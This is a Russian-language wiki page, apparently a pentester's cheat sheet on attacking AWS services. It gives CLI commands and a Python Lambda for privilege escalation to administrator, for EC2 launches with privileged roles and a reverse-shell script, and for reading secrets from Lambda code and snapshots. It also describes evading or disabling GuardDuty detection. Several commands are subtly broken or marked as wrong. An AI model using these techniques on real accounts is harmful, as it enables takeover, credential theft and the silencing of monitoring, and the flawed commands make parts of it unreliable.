Позволяет поменять политику, выставленную администраторами сети и применить ее, после чего повысить привилегии у обьекта.&lt;br /&gt;
&lt;br /&gt;
Например, если у вас это право, то вы можете создать произвольную политику, дающую полный доступ и применить ее.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание политики&lt;br /&gt;
aws iam create-policy-version --policy-arn target_policy_arn --policy-document file://path/to/administrator/policy.json --set-as-default&lt;br /&gt;
# Установка политики по умолчанию.&lt;br /&gt;
aws iam set-default-policy-version –policy-arn target_policy_arn –version-id v2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile ====&lt;br /&gt;
&lt;br /&gt;
См. EC2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachUserPolicy ====&lt;br /&gt;
&lt;br /&gt;
Позволяет прикрепить политику к пользователю. Если существует политика, дающая админские права - повышение.&lt;br /&gt;
&lt;br /&gt;
== AWS Shield ==&lt;br /&gt;
&lt;br /&gt;
Сервис для защиты от DDoS.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Cognito ==&lt;br /&gt;
&lt;br /&gt;
Позволяет быстро и просто добавлять возможности регистрации, авторизации и контроля доступа пользователей в мобильные и интернет-приложения.&lt;br /&gt;
&lt;br /&gt;
=== Основное ===&lt;br /&gt;
&lt;br /&gt;
Cognito отвечает за следующие действия:&lt;br /&gt;
&lt;br /&gt;
* Регистрация пользователя (email + пароль)&lt;br /&gt;
&lt;br /&gt;
* Авторизация пользователя&lt;br /&gt;
&lt;br /&gt;
* Работа с сохраненной пользовательской информацией (устанавливается приложением)&lt;br /&gt;
&lt;br /&gt;
* Специальные действия (например, предоставление AWS-ключей)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Все общение идет по HTTP(s). Особенность системы в том, что Cognito общается как напрямую с чужим веб-сайтом, так и напрямую с клиентским браузером. То есть веб-сервер не знает, какой был передан пароль (в нормальной реализации).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Пример URL: cognito-identity.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
За действие отвечает HTTP-заголовок &amp;quot;X-Amz-Target&amp;quot;. В своем роде, это Endpoints API.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Какие параметры требуются для работы с ним:&lt;br /&gt;
&lt;br /&gt;
1. Название Endpoint'а  - &amp;quot;X-Amz-Target&amp;quot; заголовок&lt;br /&gt;
&lt;br /&gt;
2. Регион - &amp;quot;aws_project_region&amp;quot; параметр&lt;br /&gt;
&lt;br /&gt;
3. Session token - позже требуется для запросов.&lt;br /&gt;
&lt;br /&gt;
4. Identity Pool ID - нужен для запросов типа Identity Pools.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Также пишут, что Cognito разделяется на две основные части:&lt;br /&gt;
&lt;br /&gt;
* User Pools  - для тех, кому нужна только регистрация и аутентификация&lt;br /&gt;
&lt;br /&gt;
* Identity Pools - для тех, кому еще и нужен доступ к AWS-ресурсам.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== X-Amz-Target (Endpoints) ===&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.UpdateUserAttributes ====&lt;br /&gt;
&lt;br /&gt;
У каждого пользователя есть поля, которые могут быть установлены самим пользователем (например, фамилия или дата рождения). Но также это могут быть и критичные поля, такие, как ID пользователя, администратор ли он и так далее.&lt;br /&gt;
&lt;br /&gt;
Также раньше можно было менять поле email'а пользователя (0day): https://infosecwriteups.com/hacking-aws-cognito-misconfiguration-to-zero-click-account-takeover-36a209a0bd8a&lt;br /&gt;
&lt;br /&gt;
Важно! Указано, что могут быть отправки СМС-уведомлений, так что тестировать осторожно.&lt;br /&gt;
&lt;br /&gt;
P.S. Мб неверно название Endpoint'а. Надо проверять.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetCredentialsForIdentity ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить AWS ключи для работы с AWS-консолью. По-умолчанию отключено.&lt;br /&gt;
&lt;br /&gt;
Требуется aws_identity_pool_id.&lt;br /&gt;
&lt;br /&gt;
В некоторых примерах оно также было указано как &amp;quot;com.amazonaws.cognito.identity.model.AWSCognitoIdentityService.GetCredentialsForIdentity&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее тут: https://blog.appsecco.com/exploiting-weak-configurations-in-amazon-cognito-in-aws-471ce761963&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetOpenIdToken ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить OpenID токен, действительный на 10 минут.&lt;br /&gt;
&lt;br /&gt;
В примере требуется только &amp;quot;IdentityID&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetOpenIdTokenForDeveloperIdentity ====&lt;br /&gt;
&lt;br /&gt;
Тоже позволяет получить OpenID токен, действительный на 10 минут. Но также создает новый &amp;quot;IdentityID&amp;quot; (если он не был указан).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetCredentialsForIdentity ====&lt;br /&gt;
&lt;br /&gt;
Получить учетные данные пользователя по IdentityID: SecretKey, SessionToken, AccessKeyID.&lt;br /&gt;
&lt;br /&gt;
https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_GetCredentialsForIdentity.html&lt;br /&gt;
&lt;br /&gt;
== GuardDuty ==&lt;br /&gt;
&lt;br /&gt;
Сервис для детектирования атак используя машинное обучение.&lt;br /&gt;
&lt;br /&gt;
Для детекта использует следующие сервисы:&lt;br /&gt;
&lt;br /&gt;
* CloudTrail&lt;br /&gt;
* VPC Flow Logs&lt;br /&gt;
* DNS Logs&lt;br /&gt;
* ...to be continued&lt;br /&gt;
&lt;br /&gt;
=== Обход защиты  ===&lt;br /&gt;
&lt;br /&gt;
Далее идут правила детекта и то, как их можно обойти.&lt;br /&gt;
&lt;br /&gt;
==== UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration ====&lt;br /&gt;
&lt;br /&gt;
Детектит, если AWS-API команды были запущены за пределами EC2 (используя токен этого EC2).&lt;br /&gt;
&lt;br /&gt;
Правило эффективно, если хакер хочет украть токен с EC2 и использовать его вне EC2 (например, если есть только SSRF).&lt;br /&gt;
&lt;br /&gt;
Обход простой: создать свой EC2-инстанс и делать API-запросы с полученными учетными данными жертвы.&lt;br /&gt;
Тогда правило не сработает, даже если учетные данные не принадлежат данной EC2 тк правило проверяет source ip и является ли он EC2.&lt;br /&gt;
&lt;br /&gt;
Может быть для этого выгодно держать проксирующий сервер EC2.&lt;br /&gt;
&lt;br /&gt;
==== UserAgent rules ====&lt;br /&gt;
&lt;br /&gt;
Суть в том, что GuardDuty будет добавлять Alert если AWS-CLI использует UserAgent например Kali. &lt;br /&gt;
Варианты:&lt;br /&gt;
&lt;br /&gt;
* Использовать утилиту pacu (уже есть смена User-Agent)&lt;br /&gt;
&lt;br /&gt;
* Отредактировать botocore(https://github.com/boto/botocore) по пути /usr/local/lib/python3.7/dist-packages/botocore/session.py: поменять platform.release() на строку юзерагента.&lt;br /&gt;
&lt;br /&gt;
=== Роли - Управление ===&lt;br /&gt;
&lt;br /&gt;
Список ролей: https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonguardduty.html&lt;br /&gt;
&lt;br /&gt;
==== guardduty:UpdateDetector ====&lt;br /&gt;
&lt;br /&gt;
Позволяет выключить GuardDuty (ну или редатировать правила):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
aws guardduty update-detector --detector-id &amp;lt;id of detector&amp;gt; --no-enable&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== guardduty:DeleteDetector ====&lt;br /&gt;
&lt;br /&gt;
Удалить правило детектирования:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
aws guardduty delete-detector --detector-id &amp;lt;id of detector&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STS (Security Token Service) ==&lt;br /&gt;
&lt;br /&gt;
Сервис, позволяющий запросить временные учетные данные с ограниченными  примилегиями для IAM-пользователей &lt;br /&gt;
&lt;br /&gt;
== KMS (Key Management Service) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для создания криптографических ключей, управления ими и использования их в других сервисах.&lt;br /&gt;
&lt;br /&gt;
Администраторы амазона не смогут получить к ним доступ.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ключи со временем обновляются:&lt;br /&gt;
&lt;br /&gt;
* Customers keys - раз в 365 дней&lt;br /&gt;
&lt;br /&gt;
* AWS keys - раз в 3 года.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Старые ключи также можно будет использовать для расшифровки.&lt;br /&gt;
&lt;br /&gt;
== CloudHSM (Hardware Security Module) ==&lt;br /&gt;
&lt;br /&gt;
Замена KMS для богатых и тех, кто хочит побольше безопасности. Хранилище ключей, прикрепленное к аппаратному решению. &lt;br /&gt;
&lt;br /&gt;
Пишут, что устройство будет закреплено только за вами.&lt;br /&gt;
&lt;br /&gt;
Также можно получить доступ к CloudHSM-Instance по SSH.&lt;br /&gt;
&lt;br /&gt;
== Athena ==&lt;br /&gt;
&lt;br /&gt;
Интерактивный бессерверный сервис, позволяющий анализировать данные хранилища S3 стандартными средствами SQL.&lt;br /&gt;
&lt;br /&gt;
Умеет работать с шифрованными S3 и сохранять шифрованный вывод.&lt;br /&gt;
&lt;br /&gt;
== EBS (Elastic Block Store) ==&lt;br /&gt;
&lt;br /&gt;
Сервис блочного хранилища (просто жесткий диск, который можно примонтировать).&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление сервисом ===&lt;br /&gt;
 &lt;br /&gt;
==== ec2:CreateVolume + ec2:AttachVolume ====&lt;br /&gt;
&lt;br /&gt;
Возможность подключить EBS-Volume/Snapshot к EC2-виртуалке.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание Volume из snapshot'а (если требуется подключить snapshot)&lt;br /&gt;
aws ec2 create-volume –snapshot-id snapshot_id --availability-zone zone&lt;br /&gt;
# Подключение Volume к виртуалке EC2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Далее идем на виртуалку и вводим команды:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Поиск Volume&lt;br /&gt;
lsblk&lt;br /&gt;
# Проверка есть ли на нем данные&lt;br /&gt;
sudo file -s /dev/xvdf&lt;br /&gt;
# форматировать образ под ext4 (если неподходящая файловая система)&lt;br /&gt;
sudo mkfs -t ext4 /dev/xvdf&lt;br /&gt;
# Создаем директорию куда примонтируем позже&lt;br /&gt;
sudo mkdir /tmp/newvolume&lt;br /&gt;
# Монтируем&lt;br /&gt;
sudo mount /dev/xvdf /tmp/newvolume/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Диск будет доступен на /tmp/newvolume.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Lambda ==&lt;br /&gt;
&lt;br /&gt;
Сервис для запуска своего кода в облаке.&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== lambda:UpdateFunctionCode ====&lt;br /&gt;
&lt;br /&gt;
Позволяет поменять запущенный код, тем самым получив контроль над ролями, прикрепленными к этому коду:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws lambda update-function-code --function-name target_function --zip-file fileb://my/lambda/code/zipped.zip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== lambda:CreateFunction + lambda:InvokeFunction + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет создать функцию и прикрепить к ней произвольную роль, после чего запустить.&lt;br /&gt;
&lt;br /&gt;
Код функции:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
import boto3&lt;br /&gt;
def lambda_handler(event, context):&lt;br /&gt;
    client = boto3.client('iam')&lt;br /&gt;
    response = client.attach_user_policy(&lt;br /&gt;
    UserName='my_username',&lt;br /&gt;
    PolicyArn=&amp;quot;arn:aws:iam::aws:policy/AdministratorAccess&amp;quot;&lt;br /&gt;
    )&lt;br /&gt;
    return response&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Команды для запуска:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание функции&lt;br /&gt;
aws lambda create-function --function-name my_function --runtime python3.6 --role arn_of_lambda_role --handler lambda_function.lambda_handler --code file://my/python/code.py&lt;br /&gt;
# Запуск&lt;br /&gt;
aws lambda invoke --function-name my_function output.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== lambda:GetFunction ====&lt;br /&gt;
&lt;br /&gt;
Также может понадобиться lambda:ListFunctions чтобы не перебирать названия функций.&lt;br /&gt;
&lt;br /&gt;
Позволяет прочитать исходный код функции (в котором например может быть секрет сохранен):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получить список функций&lt;br /&gt;
aws lambda list-functions --profile uploadcreds&lt;br /&gt;
# Получить информацию о Lambda-функции&lt;br /&gt;
aws lambda get-function --function-name &amp;quot;LAMBDA-NAME-HERE-FROM-PREVIOUS-QUERY&amp;quot; --query 'Code.Location' --profile uploadcreds&lt;br /&gt;
# Скачать исходный код по ссылке из предыдущего ответа&lt;br /&gt;
wget -O lambda-function.zip url-from-previous-query --profile uploadcreds&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Glue ==&lt;br /&gt;
&lt;br /&gt;
Бессерверная служба интеграции данных, упрощающая поиск, подготовку и объединение данных для анализа, машинного обучения и разработки приложений.&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== glue:UpdateDevEndpoint ====&lt;br /&gt;
&lt;br /&gt;
Позволяет обновить параметры Glue Development Endpoint, тем самым получив контроль над ролями, прикрепленными к этому Glue Development Endpoint:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# TODO: это не обновление параметров, надо обновить команду&lt;br /&gt;
aws glue --endpoint-name target_endpoint --public-key file://path/to/my/public/ssh/key.pub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== glue:CreateDevEndpoint + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить доступ к ролям, которые прикреплены к любому сервису Glue:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws glue create-dev-endpoint --endpoint-name my_dev_endpoint --role-arn arn_of_glue_service_role --public-key file://path/to/my/public/ssh/key.pub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== S3 ==&lt;br /&gt;
&lt;br /&gt;
Файловое хранилище, доступное по http(s).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{bucket_name}.s3.amazonaws.com&lt;br /&gt;
https://s3.amazonaws.com/{bucket_name}/&lt;br /&gt;
&lt;br /&gt;
# US Standard&lt;br /&gt;
http://s3.amazonaws.com&lt;br /&gt;
# Ireland&lt;br /&gt;
http://s3-eu-west-1.amazonaws.com&lt;br /&gt;
# Northern California&lt;br /&gt;
http://s3-us-west-1.amazonaws.com&lt;br /&gt;
# Singapore&lt;br /&gt;
http://s3-ap-southeast-1.amazonaws.com&lt;br /&gt;
# Tokyo&lt;br /&gt;
http://s3-ap-northeast-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Делать запросы можно:&lt;br /&gt;
&lt;br /&gt;
* В браузере - http(s)&lt;br /&gt;
&lt;br /&gt;
* Используя awscli:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3 ls  s3://flaws.cloud/ [--no-sign-request] [--profile &amp;lt;PROFILE_NAME&amp;gt;] [ --recursive] [--region us-west-2]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
В S3 может использоваться шифрование:&lt;br /&gt;
&lt;br /&gt;
* SSE-KMS - Server-Side с ключами KMS&lt;br /&gt;
&lt;br /&gt;
* SSE-C - Server-Side с ключами заказчика&lt;br /&gt;
&lt;br /&gt;
* CSE-KMS - Client-Side с ключами KMS&lt;br /&gt;
&lt;br /&gt;
* CSE-C - Client-Side с ключами заказчика&lt;br /&gt;
&lt;br /&gt;
=== Сбор информации ===&lt;br /&gt;
&lt;br /&gt;
==== Определение региона ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
$ dig flaws.cloud&lt;br /&gt;
;; ANSWER SECTION:&lt;br /&gt;
flaws.cloud.    5    IN    A    52.218.192.11&lt;br /&gt;
&lt;br /&gt;
$ nslookup 52.218.192.11&lt;br /&gt;
Non-authoritative answer:&lt;br /&gt;
11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
# Итоговый URL будет:&lt;br /&gt;
flaws.cloud.s3-website-us-west-2.amazonaws.com&lt;br /&gt;
flaws.cloud.s3-us-west-2.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Если будет некорректный регион - редиректнет на корректный.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Список файлов ====&lt;br /&gt;
&lt;br /&gt;
На S3-Bukket может быть включен листинг директорий, для этого достаточно перейти в браузере на хранилище и посмотреть возвращенный XML.&lt;br /&gt;
&lt;br /&gt;
Список файлов может быть включен отдельно на определенные директории, поэтому может потребоваться брут директорий используя, например, wfuzz (подстрока AccessDenied).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== s3:ListBucket ====&lt;br /&gt;
&lt;br /&gt;
Посмотреть список файлов в S3-хранилище:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3 ls  s3://flaws.cloud/ [--no-sign-request] [--profile &amp;lt;PROFILE_NAME&amp;gt;] [ --recursive] [--region us-west-2]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== s3:ListAllMyBuckets ====&lt;br /&gt;
&lt;br /&gt;
Посмотреть список всех S3-хранилищ, доступных мне:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3api list-buckets&lt;br /&gt;
aws s3 ls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudFront ==&lt;br /&gt;
&lt;br /&gt;
Сервис сети доставки контента (CDN).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.cloudfront.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== EC2 (Elastic Compute Cloud) ==&lt;br /&gt;
&lt;br /&gt;
EC2 (Amazon Elastic Compute Cloud) == VPS&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Состоит из:&lt;br /&gt;
&lt;br /&gt;
* Instance - название виртуальной машины&lt;br /&gt;
&lt;br /&gt;
* AMI (Amazon Machine Image) - образ виртуальной машины&lt;br /&gt;
&lt;br /&gt;
* SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
ec2-{ip-seperated}.compute-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSM Agent ===&lt;br /&gt;
&lt;br /&gt;
Как уже выше написано, SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд.&lt;br /&gt;
&lt;br /&gt;
Его тоже можно выбрать целью атаки&lt;br /&gt;
&lt;br /&gt;
==== MITM ====&lt;br /&gt;
&lt;br /&gt;
Есть возможность вклиниваться в общение от SSM-Агента локально.&lt;br /&gt;
&lt;br /&gt;
PoC: https://github.com/Frichetten/ssm-agent-research/tree/main/ssm-session-interception&lt;br /&gt;
&lt;br /&gt;
Полная статья: https://frichetten.com/blog/ssm-agent-tomfoolery/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== ec2:RunInstance + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет прикрепить существующую роль к скомпрометированной EC2-машине.&lt;br /&gt;
&lt;br /&gt;
1. Запуск машины c новой прикрепленной ролью&lt;br /&gt;
&lt;br /&gt;
2. Подключение к ней&lt;br /&gt;
&lt;br /&gt;
3. Работа с прикрепленной ролью&lt;br /&gt;
&lt;br /&gt;
Создание EC2 с известным SSH-ключем:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --key-name my_ssh_key --security-group-ids sg-123456&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Второй вариант - скрипт для запуска:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --user-data file://script/with/reverse/shell.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Важно! Может спалиться с GuardDuty когда учетные данные пользователя будут использованы на стороннем инстансе EC2.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение до админа ===&lt;br /&gt;
&lt;br /&gt;
==== ec2:AssociateIamInstanceProfile ====&lt;br /&gt;
&lt;br /&gt;
Позволяет менять IAM политики/роли/пользователей&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет создать новый привилегированный профиль для инстанса и прикрепить его к скомпрометированной EC2-машине.&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateVolume + ec2:AttachVolume ====&lt;br /&gt;
&lt;br /&gt;
См. EBS.&lt;br /&gt;
&lt;br /&gt;
==== ec2:DescribeSnapshots ====&lt;br /&gt;
&lt;br /&gt;
Позволяет посмотреть информацию о SnapShot'ах, которые позже мб потребуется прочитать:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws  ec2 describe-snapshots --profile flawscloud --owner-id 975426262029 --region us-west-2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateVolume ====&lt;br /&gt;
&lt;br /&gt;
Прзврояет примаунтить SnapShot, чтобы потом его изучить:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 create-volume --profile YOUR_ACCOUNT --availability-zone us-west-2a --region us-west-2  --snapshot-id  snap-0b49342abd1bdcb89&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2:* (Копирование EC2) ====&lt;br /&gt;
&lt;br /&gt;
Позволяет скопировать EC2 используя AMI-images:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создаем новый AMI из Instance-ID&lt;br /&gt;
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name &amp;quot;AWS Audit&amp;quot; --description &amp;quot;Export AMI&amp;quot; --region eu-west-1  &lt;br /&gt;
&lt;br /&gt;
# Добавляем наш ключ в систему&lt;br /&gt;
aws ec2 import-key-pair --key-name &amp;quot;AWS Audit&amp;quot; --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1  &lt;br /&gt;
&lt;br /&gt;
# Создаем EC2-Instance используя созданный AMI (параметры security group и подсеть оставили те же) &lt;br /&gt;
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids &amp;quot;sg-6d0d7f01&amp;quot; --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name &amp;quot;AWS Audit&amp;quot; --query &amp;quot;Instances[0].InstanceId&amp;quot; --region eu-west-1&lt;br /&gt;
&lt;br /&gt;
# Проверяем запустился ли инстанс&lt;br /&gt;
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1 &lt;br /&gt;
&lt;br /&gt;
# Не обязательно - редактируем группу инстанса&lt;br /&gt;
